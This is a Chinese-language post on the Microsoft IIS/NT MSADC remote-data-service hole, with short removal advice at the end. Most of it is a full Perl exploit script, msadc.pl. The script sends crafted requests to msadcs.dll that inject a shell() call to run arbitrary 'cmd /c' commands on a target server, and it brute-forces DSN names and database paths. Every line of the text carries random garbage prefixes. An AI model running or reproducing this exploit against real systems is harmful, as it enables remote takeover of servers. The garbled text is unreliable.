IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Hm+6QgCs eeI9[lTw 涉及程序：
/I`cS%U Microsoft NT server
? YkO+?}+ sx)$= ~o 描述：
KRnB[$3F1 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
m+72C]9 2R_opbw 详细：
gZ `#t lA~ 如果你没有时间读详细内容的话，就删除:
3<KZ.h r c:\Program Files\Common Files\System\Msadc\msadcs.dll
:)A.E}G 有关的安全问题就没有了。
VV0EgfJ SxL HFN] 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
r
48;_4d)D t?%}hs\! 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
;3.T* ?|o 关于利用ODBC远程漏洞的描述，请参看:
>0g `U N8DiEB3~ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm y]QQvCJr3d M/8#&RycQ
2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
,%)W T> http://www.microsoft.com/security/bulletins/MS99-025faq.asp &;NNU T>Q d!}jdt5% 这里不再论述。
Q ^1#xBd eu}:Wg2 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
,z0~mN ~L \( /[ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
gNEzlx8A 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
H649J)v+m ev ndw> ^huBqEs #将下面这段保存为txt文件，然后: "perl -x 文件名"
^V XXq n7`.<*:
#!perl
"EOk^1,y #
eSvc/ CU # MSADC/RDS 'usage' (aka exploit) script
~u ?x{[ #
:r
vO8.\ # by rain.forest.puppy
z/P^-N> #
A_6/umF[ZA # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
FM;;x(sg # beta test and find errors!
0f=N3) j-I6QUd use Socket; use Getopt::Std;
eBSn1n
getopts("e:vd:h:XR", \%args);
6,g5To#vw T|BY00Sz` print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
jziA;6uL *s<dgFA' if (!defined $args{h} && !defined $args{R}) {
Vne. HFXA print qq~
72 s$ Usage: msadc.pl -h <host> { -d <delay> -X -v }
% Zl_{Q]h -h <host> = host you want to scan (ip or domain)
fUL{c,7xda -d <seconds> = delay between calls, default 1 second
, h wf -X = dump Index Server path table, if available
',J%Mv>Yf -v = verbose
{*ko=77$* -e = external dictionary file for step 5
V %{ 9o ]mO+<{{4X Or a -R will resume a command session
jKb=Zkd uc"[ qT(X ~; exit;}
H z < M
Skk3M? $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
vUIK4uR. if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
tI!R5q;k if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
bb
O;AiHD if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
6>N u=~ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
93Ci$# <y if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
qG2\` +v E3.W#=o if (!defined $args{R}){ $ret = &has_msadc;
6Ymo %OT die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
V)?x*R*T) N?U&(@p print "Please type the NT commandline you want to run (cmd /c assumed):\n"
`M pC<sit . "cmd /c ";
PE;0
jgsiI $in=<STDIN>; chomp $in;
q I V`zZc $command="cmd /c " . $in ;
6q
xUT z5o9\.y({ if (defined $args{R}) {&load; exit;}
Fb<\(#t {7pE9R 5 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
M;RnH##W &try_btcustmr;
w_z^5\u0 {L2Gb(YLW print "\nStep 2: Trying to make our own DSN...";
vS*0CR\ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
8w@W8(3B u7 y7 print "\nStep 3: Trying known DSNs...";
%BYlbEx &known_dsn;
yS.fe [ h}B# 'e print "\nStep 4: Trying known .mdbs...";
6 pe M4X &known_mdb;
<,]CV o |z<wPJ,;2 if (defined $args{e}){
]BS{ ,sI print "\nStep 5: Trying dictionary of DSN names...";
4iP ua"8 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
z_,] fd=o xz+`]Q print "Sorry Charley...maybe next time?\n";
dXK~
Z: exit;
W%jX- ID k:jO ##############################################################################
TeN1\rA, Ci#5@Q9#w sub sendraw { # ripped and modded from whisker
S>ylA U;N sleep($delay); # it's a DoS on the server! At least on mine...
iDkWW my ($pstr)=@_;
`bi_)i6Low socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~3-YxCn% die("Socket problems\n");
o j4)7{ if(connect(S,pack "SnA4x8",2,80,$target)){
EV7+u0uN&Q select(S); $|=1;
,IVr4#w0= print $pstr; my @in=<S>;
kV(DnZ#jq select(STDOUT); close(S);
I#6'
NZ return @in;
d[ Fr } else { die("Can't connect...\n"); }}
5_tK3Q8? u%IKM \ ##############################################################################
pvwn za1 U+}9X^ sub make_header { # make the HTTP request
I\4 `90uBN my $msadc=<<EOT
_ L:w;Oy9T POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
my\oC^/9 User-Agent: ACTIVEDATA
hr}R,BR| Host: $ip
Ef*.}gcU Content-Length: $clen
3L!&~'.Ro Connection: Keep-Alive
nTtt$I@hW yNMwd.r [ ADCClientVersion:01.06
vhe Ah`u^& Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
OFAqP1o{$ q2U "k --!ADM!ROX!YOUR!WORLD!
R^O)fL 0_ Content-Type: application/x-varg
7;s0m0<% ~ Content-Length: $reqlen
jvKaxB;e #&8pp8wd,} EOT
,HO/Q6;N ; $msadc=~s/\n/\r\n/g;
0v)mgrl=, return $msadc;}
{8p?we3l1 PH4bM ##############################################################################
vFvu8*0 C%7)sLWjJS sub make_req { # make the RDS request
X1z0'gvh my ($switch, $p1, $p2)=@_;
]}Hv,a
my $req=""; my $t1, $t2, $query, $dsn;
^d $e^cU A kQFb2|ir if ($switch==1){ # this is the btcustmr.mdb query
?} Ptb&Vk( $query="Select * from Customers where City=" . make_shell();
mS;Q8Crh $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
r_<i*l. $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
\C\y' H5 OuIW|gIu0 elsif ($switch==2){ # this is general make table query
cz~1 1j# $query="create table AZZ (B int, C varchar(10))";
Ecl 7=-y $dsn="$p1";}
2+Y`p z47W [Ik
B/Xbw| elsif ($switch==3){ # this is general exploit table query
BL^Hj $query="select * from AZZ where C=" . make_shell();
PaI63 ! $dsn="$p1";}
o|n0?bThS- 9d (v^T elsif ($switch==4){ # attempt to hork file info from index server
> Vm $query="select path from scope()";
( 2(;u1 $dsn="Provider=MSIDXS;";}
*8eh%3_$h <@ex})su elsif ($switch==5){ # bad query
m<LzB_ G\ $query="select";
:< 3;7R'5 $dsn="$p1";}
$zA[5}{ZtQ 90696v. $t1= make_unicode($query);
GIl{wd
$t2= make_unicode($dsn);
f! Nc + $req = "\x02\x00\x03\x00";
ZrT|~$*m` $req.= "\x08\x00" . pack ("S1", length($t1));
<; Z~ vZ] $req.= "\x00\x00" . $t1 ;
-ns a3P $req.= "\x08\x00" . pack ("S1", length($t2));
U~@B%Msb
L $req.= "\x00\x00" . $t2 ;
Fm~}A4 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
g#nsA(_L return $req;}
JM9Q]#'t -@?>nLQb ##############################################################################
&`y_R' {YLJKu!M sub make_shell { # this makes the shell() statement
1ucUnNkcV return "'|shell(\"$command\")|'";}
U1tPw`0h TK ?N ^ly ##############################################################################
{$=%5 d#,V^ sub make_unicode { # quick little function to convert to unicode
n E.s my ($in)=@_; my $out;
bGnJ4R3J for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
g
{wPw return $out;}
j`M<M[C*4N |}Z"|-Z ##############################################################################
QN5N h s c `=h K* sub rdo_success { # checks for RDO return success (this is kludge)
U.} =j'Us+ my (@in) = @_; my $base=content_start(@in);
yAkN2 if($in[$base]=~/multipart\/mixed/){
u<r('IW0 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
@
MoMU return 0;}
A+ *(Pds K4L#%KUPW ##############################################################################
rxA)& .f<,H+ m^ sub make_dsn { # this makes a DSN for us
/P}tgcs my @drives=("c","d","e","f");
UsKn4Kh print "\nMaking DSN: ";
pODo[Rkq foreach $drive (@drives) {
{%}6 d~Bg print "$drive: ";
~OfKn1D my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
wpMQ 7:j "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
0n^j 50Yq . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
{]N?DmF $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
[NDYJ'VGe return 0 if $2 eq "404"; # not found/doesn't exist
3+PM_c)Y if($2 eq "200") {
OtqLigt&l foreach $line (@results) {
!-Q!/? return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
{D.0_=y~2 } return 0;}
45JLx?rN_ +@ v} ( ##############################################################################
2xm?,p` d u )G)~ sub verify_exists {
?%n9g)>Yej my ($page)=@_;
: | ( B[ my @results=sendraw("GET $page HTTP/1.0\n\n");
$
$+z^%'_ return $results[0];}
O/@ [VPf [$+61n}.12 ##############################################################################
ho<#i( v 65r@)\` sub try_btcustmr {
K",]_+b my @drives=("c","d","e","f");
OPh@H.)^ my @dirs=("winnt","winnt35","winnt351","win","windows");
$$>,2^qr&L : P 2;9+v foreach $dir (@dirs) {
~qxc!k!w4 print "$dir -> "; # fun status so you can see progress
2M`Ni&v foreach $drive (@drives) {
+}'K6x_ print "$drive: "; # ditto
"FD~XSRL $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Ctx K{: $reqlenlen=length( "$reqlen" );
Pk2 "\y@q/ $clen= 206 + $reqlenlen + $reqlen;
Z)4P>{ NE nP3A my @results=sendraw(make_header() . make_req(1,$drive,$dir));
x&p=vUuukP if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
w-/ Tb~#E else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
-OAH6U9^ {$.{VE+v5 ##############################################################################
sNTfRPC L j\ <qF~n sub odbc_error {
I<#kw)W! my (@in)=@_; my $base;
4K% YS my $base = content_start(@in);
"fwuvT
1 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Yq.@7cJ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,^T2hY` $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]kvE+m&p}^ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'93& ? return $in[$base+4].$in[$base+5].$in[$base+6];}
c " HCc] print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
fTcRqov print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
@UBp;pb}=h $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
;T(^riAEl b`=rd 4cpU ##############################################################################
,+{ 43;a N/p _6GYMa sub verbose {
? ' nMZ my ($in)=@_;
A O]e^Q return if !$verbose;
BJTljg( {o print STDOUT "\n$in\n";}
XoOe=V?I ) A&#Bf#!G ##############################################################################
KcE=m\ h z""(M4 sub save {
!b_IH0]U my ($p1, $p2, $p3, $p4)=@_;
,;}RIcvQV open(OUT, ">rds.save") || print "Problem saving parameters...\n";
"b;?2_w:E print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
bSzb! hT` close OUT;}
n9i h^ H ?,[w6 O* ##############################################################################
q3t@)+l>* uWQ.h , sub load {
p`0Tpgi my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
B7C6Mau open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Pd?YS!+S @p=<IN>; close(IN);
N11am $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
%0'f`P 6 $target= inet_aton($ip) || die("inet_aton problems");
oKiu6= print "Resuming to $ip ...";
+ZO*~.zZ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
t@v8>J%K if($p[1]==1) {
;!b(b% $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
FeJ5^Gh. $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
9EW 7,m{A my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
!LA #c' if (rdo_success(@results)){print "Success!\n";}
I uL ]V TY else { print "failed\n"; verbose(odbc_error(@results));}}
#t*c*o elsif ($p[1]==3){
7t QiKrhp if(run_query("$p[3]")){
K(Nk|gQ print "Success!\n";} else { print "failed\n"; }}
&/"
qOZAs elsif ($p[1]==4){
E&AR=yqk if(run_query($drvst . "$p[3]")){
w.jATMJ)F print "Success!\n"; } else { print "failed\n"; }}
'AU!xG6OQ exit;}
/:)4tIV *@Z'{V\ ##############################################################################
w6tY6bf} SQ[}]Tm;n sub create_table {
}#1{Ghs S my ($in)=@_;
Q*5d~Yr ]R $reqlen=length( make_req(2,$in,"") ) - 28;
muLTY gaM $reqlenlen=length( "$reqlen" );
<dZ{E 7l $clen= 206 + $reqlenlen + $reqlen;
'S\H% - my @results=sendraw(make_header() . make_req(2,$in,""));
*9PQJeyR return 1 if rdo_success(@results);
6 s/O\A my $temp= odbc_error(@results); verbose($temp);
nK[$ I D return 1 if $temp=~/Table 'AZZ' already exists/;
- =Hr|AhE return 0;}
+(
d2hSIF rv[\2@} ##############################################################################
wKN9HT -$r fu sub known_dsn {
{_JLmyaerZ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
0J" 3RTt my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
&W%TY:Da| "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
DX|kO "banner", "banners", "ads", "ADCDemo", "ADCTest");
c W2:D$Pe h =aHZ6v foreach $dSn (@dsns) {
d>}%A
] print ".";
8Md KH7 next if (!is_access("DSN=$dSn"));
c}lgWu~ if(create_table("DSN=$dSn")){
:>5]A6Wi print "$dSn successful\n";
~tWBCq 6 if(run_query("DSN=$dSn")){
aNz%vbh\ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
5VN4A<)) print "Something's borked. Use verbose next time\n";}}} print "\n";}
??Lxb% 7R dK-G%5)r ##############################################################################
Us<lWEX;k XN Y(@ sub is_access {
* HVO my ($in)=@_;
y\:2Re/*Jt $reqlen=length( make_req(5,$in,"") ) - 28;
w;:,W@K $reqlenlen=length( "$reqlen" );
H0S 7k`. $clen= 206 + $reqlenlen + $reqlen;
VQCPgs my @results=sendraw(make_header() . make_req(5,$in,""));
f55Ev<oOa my $temp= odbc_error(@results);
#'[ f^xgJ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
q:'(1y~ return 0;}
#KwFr lZ 9o6y7hEQy ##############################################################################
5D#*lMSP"' Ny#%7%( sub run_query {
DmYm~hzJ my ($in)=@_;
`i }\k $reqlen=length( make_req(3,$in,"") ) - 28;
W$ &Q.Z $reqlenlen=length( "$reqlen" );
6 B
) $clen= 206 + $reqlenlen + $reqlen;
Oj2[(7 mO/ my @results=sendraw(make_header() . make_req(3,$in,""));
TCYnErqk return 1 if rdo_success(@results);
(]JJ?aAF my $temp= odbc_error(@results); verbose($temp);
er_aol e return 0;}
W{`;][ ;pNfdII( ##############################################################################
O =fT;&%. .'4*'i: sub known_mdb {
1_' ZbZv4h my @drives=("c","d","e","f","g");
tnsYY my @dirs=("winnt","winnt35","winnt351","win","windows");
r&qD !l5y my $dir, $drive, $mdb;
BBX4^;t my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&45.*l|mo 9H<:\-: # this is sparse, because I don't know of many
P>H'od my @sysmdbs=( "\\catroot\\icatalog.mdb",
Av'H(qB\K "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
4D NZ y2` "\\system32\\certmdb.mdb",
ecb[m2z "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
,W#y7 t /xmd]XM=_ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
dZm{?\^_ "\\cfusion\\cfapps\\forums\\forums_.mdb",
!#r]f9QP "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
i J\#su "\\cfusion\\cfapps\\security\\realm_.mdb",
{Hb _o)S "\\cfusion\\cfapps\\security\\data\\realm.mdb",
&I70veNY "\\cfusion\\database\\cfexamples.mdb",
3K'3Xp@A "\\cfusion\\database\\cfsnippets.mdb",
q/[)mr|~ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
`s+qz "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
k`?n("j "\\cfusion\\brighttiger\\database\\cleam.mdb",
5rc<ibGh "\\cfusion\\database\\smpolicy.mdb",
{BJxRH"&6* "\\cfusion\\database\cypress.mdb",
ELm# "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Y3thW@mD05 "\\website\\cgi-win\\dbsample.mdb",
}>j$Wr_h "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
B g3^BOT "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
@=9QV3 D ); #these are just
W&"FejD foreach $drive (@drives) {
f; 22viE foreach $dir (@dirs){
~6OdPD foreach $mdb (@sysmdbs) {
NEN br$,G print ".";
{\% x{ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
GV g0)} print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
a+X X?uN{ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
a\zbi$S print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
FGZOn5U6' } else { print "Something's borked. Use verbose next time\n"; }}}}}
*33Zt+ kqy Y:J foreach $drive (@drives) {
Jlzhn#5c- foreach $mdb (@mdbs) {
}/=VnCfU print ".";
J sH9IK: if(create_table($drv . $drive . $dir . $mdb)){
al5?w{us print "\n" . $drive . $dir . $mdb . " successful\n";
55#H A?cR if(run_query($drv . $drive . $dir . $mdb)){
FNUue print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
D3_,2 } else { print "Something's borked. Use verbose next time\n"; }}}}
LOQEU? z }
m\Dbb.vBvW # wG}T
.* ##############################################################################
2nw P-i (j'[t sub hork_idx {
.rS0zU print "\nAttempting to dump Index Server tables...\n";
:+u?A print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
b&!X#3(KT $reqlen=length( make_req(4,"","") ) - 28;
$idYG<], $reqlenlen=length( "$reqlen" );
z- ()7WY $clen= 206 + $reqlenlen + $reqlen;
k: c)|2 my @results=sendraw2(make_header() . make_req(4,"",""));
!7_Q_h', if (rdo_success(@results)){
5T,`j=\ my $max=@results; my $c; my %d;
l9-(ofY*J for($c=19; $c<$max; $c++){
d`Wd"LJ= $results[$c]=~s/\x00//g;
n\d-^ml $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
YpAjZQZ, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
_G`kj{J $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
(_d^i Zyf $d{"$1$2"}="";}
/N~., vf foreach $c (keys %d){ print "$c\n"; }
c(@)V.o2 } else {print "Index server doesn't seem to be installed.\n"; }}
E$RH+):| xY@V. ##############################################################################
,3x3&c oJ 5V^. sub dsn_dict {
@k6>&PS open(IN, "<$args{e}") || die("Can't open external dictionary\n");
O)W1.]GMbf while(<IN>){
dC)@v]#h $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
GUMO;rZs next if (!is_access("DSN=$dSn"));
? -6oh~W< if(create_table("DSN=$dSn")){
mio\}S A print "$dSn successful\n";
r=u>TA$ if(run_query("DSN=$dSn")){
OJ&~uV >2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]m YY1%H8M print "Something's borked. Use verbose next time\n";}}}
'H97D-86/ print "\n"; close(IN);}
^'#vU j:" @dw0oR F ##############################################################################
O{Wy;7i kvKbl;< &# sub sendraw2 { # ripped and modded from whisker
z`'{l { sleep($delay); # it's a DoS on the server! At least on mine...
@'dtlY5; my ($pstr)=@_;
I>:M1 Yc0 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*;Sj&O die("Socket problems\n");
^xFZ;Yf if(connect(S,pack "SnA4x8",2,80,$target)){
@ *!8 print "Connected. Getting data";
?oP<sGp open(OUT,">raw.out"); my @in;
z7 > select(S); $|=1; print $pstr;
I oj F/ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
U#-89 . x close(OUT); select(STDOUT); close(S); return @in;
85m_jmh[ } else { die("Can't connect...\n"); }}
TTu<~GH !@5B:n* ##############################################################################
EE-jU<>| ]Z6==+mCP sub content_start { # this will take in the server headers
6/ F]ncw G my (@in)=@_; my $c;
aNw8][ for ($c=1;$c<500;$c++) {
Y=\;$ :L[ if($in[$c] =~/^\x0d\x0a/){
jgbE@IA@!' if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
cjp
H
hoW else { return $c+1; }}}
n-0RA ~5z return -1;} # it should never get here actually
Q`'w)aV "/g/Lc ##############################################################################
fn]f$n*` ``DS?pUY sub funky {
8Y_wS&eB my (@in)=@_; my $error=odbc_error(@in);
CB\E@u, if($error=~/ADO could not find the specified provider/){
}GRZCX> print "\nServer returned an ADO miscofiguration message\nAborting.\n";
[O7:<co exit;}
tWT@%(2~0 if($error=~/A Handler is required/){
.3M=|rE print "\nServer has custom handler filters (they most likely are patched)\n";
E:!?A@Fy exit;}
C,HKao\ if($error=~/specified Handler has denied Access/){
[HL XWu3 print "\nServer has custom handler filters (they most likely are patched)\n";
`2( )Vf exit;}}
5Z@OgR ?%(: ##############################################################################
j&(aoGl@ $GB /}$fd& sub has_msadc {
+a0 q?$\ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
7&-B6Y 4 my $base=content_start(@results);
B=8],_ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
+O8rjVg) return 0;}
oF7o"NHaWa , * !HN
& ########################
^ Cs?FF@P G AI( = &>,c..Ke 解决方案：
H$^IT# 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
3\JEp,5
2、移除web 目录: /msadc
